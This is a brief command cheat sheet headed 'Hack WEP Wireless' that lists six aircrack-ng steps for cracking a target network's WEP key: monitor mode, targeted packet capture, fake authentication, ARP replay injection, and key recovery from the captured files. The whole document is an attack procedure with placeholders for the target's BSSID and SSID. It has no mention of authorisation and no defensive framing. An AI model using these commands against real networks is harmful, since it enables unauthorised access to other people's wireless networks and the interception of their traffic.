Hack WEP Wireless

1. Install aircrack:
   sudo apt-get install aircrack-ng
2. Activate monitoring modus:
   sudo airmon-ng start wlan0 [channel]
3. Do the scanning:
   sudo airodump-ng -c [channel] --bssid [mac_address_target] -w output wlan0
4. Do fake authentification:
   sudo aireplay-ng -1 30 -e [ssid] -a [mac_address_target] -h [mac_address] wlan0
5. To speed up packet gathering:
   sudo aireplay-ng -3 -b [mac_address_target] -h [mac_address] -x 900 wlan0
6. To get the key:
   sudo aircrack-ng -z -b [mac_address_target] output*.cap